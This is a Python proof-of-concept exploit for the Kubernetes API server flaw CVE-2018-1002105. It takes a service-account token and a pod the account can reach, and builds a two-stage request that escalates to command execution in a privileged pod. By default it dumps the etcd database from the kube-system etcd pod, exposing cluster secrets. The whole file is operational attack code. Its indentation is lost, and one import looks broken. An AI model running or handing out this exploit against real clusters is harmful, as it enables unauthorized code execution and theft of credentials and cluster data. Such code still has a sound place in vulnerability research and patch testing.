#!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from socket import create_connection
from secrets import base64, token_bytes
def request_stage_1(namespace, pod, method, target, token):
stage_1 = ""
with open('stage_1', 'r') as stage_1_fd:
stage_1 = stage_1_fd.read()
return stage_1.format(namespace, pod, method, target,
token).encode('utf-8')
def request_stage_2(target, namespace, pod, container, command):
stage_2 = ""
command = f"command={'&command='.join(command.split(' '))}"
with open('stage_2', 'r') as stage_2_fd:
stage_2 = stage_2_fd.read()
key = base64.b64encode(token_bytes(20)).decode('utf-8')
return stage_2.format(namespace, pod, container, command,
target, key).encode('utf-8')
def run_exploit(target, stage_1, stage_2, method, filename, ppod,
container):
host, port = target.split(':')
with create_connection((host, port)) as sock:
with wrap_socket(sock) as ssock:
print(f"[*] Building pipe using {method}...")
ssock.send(stage_1)
if b'400 Bad Request' in ssock.recv(4096):
print('[+] Pipe opened :D')
else:
print('[-] Not sure if this went well...')
print(f"[*] Attempting code exec on {ppod}/{container}")
ssock.send(stage_2)
if b'HTTP/1.1 101 Switching Protocols' not in ssock.recv(4096):
print('[-] Exploit failed :(')
return False
data_incoming = True
data = []
while data_incoming:
data_in = ssock.recv(4096)
data.append(data_in)
if not data_in:
data_incoming = False
if filename:
print(f"[*] Writing output to {filename} ....")
with open(filename, 'wb+') as fd:
for msg in data:
fd.write(msg)
print('[+] Done!')
else:
print(''.join(msg.decode('unicode-escape')
for msg in data))
def main():
parser = argparse.ArgumentParser(description='PoC for CVE-2018-1002105.')
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('--target', '-t', dest='target', type=str,
help='API server target:port', required=True)
required.add_argument('--jwt', '-j', dest='token', type=str,
help='JWT token for service account', required=True)
required.add_argument('--namespace', '-n', dest='namespace', type=str,
help='Namespace with method access',
default='default')
required.add_argument('--pod', '-p', dest='pod', type=str,
required=True, help='Pod with method access')
required.add_argument('--method', '-m', dest='method', choices=['exec',
'portforward', 'attach'], required=True)
optional.add_argument('--privileged-namespace', '-s', dest='pnamespace',
help='Target namespace', default='kube-system')
optional.add_argument('--privileged-pod', '-e', dest='ppod', type=str,
help='Target privileged pod',
default='etcd-kubernetes')
optional.add_argument('--container', '-c', dest='container', type=str,
help='Target container', default='etcd')
optional.add_argument('--command', '-x', dest='command', type=str,
help='Command to execute',
default='/bin/cat /var/lib/etcd/member/snap/db')
optional.add_argument('--filename', '-f', dest='filename', type=str,
help='File to save output to', default=False)
args = parser.parse_args()
if args.target.find(':') == -1:
print(f"[-] invalid target {args.target}")
return False
stage1 = request_stage_1(args.namespace, args.pod, args.method, args.target,
args.token)
stage2 = request_stage_2(args.target, args.pnamespace, args.ppod,
args.container, args.command)
run_exploit(args.target, stage1, stage2, args.method, args.filename,
args.ppod, args.container)
if __name__ == '__main__':
main()
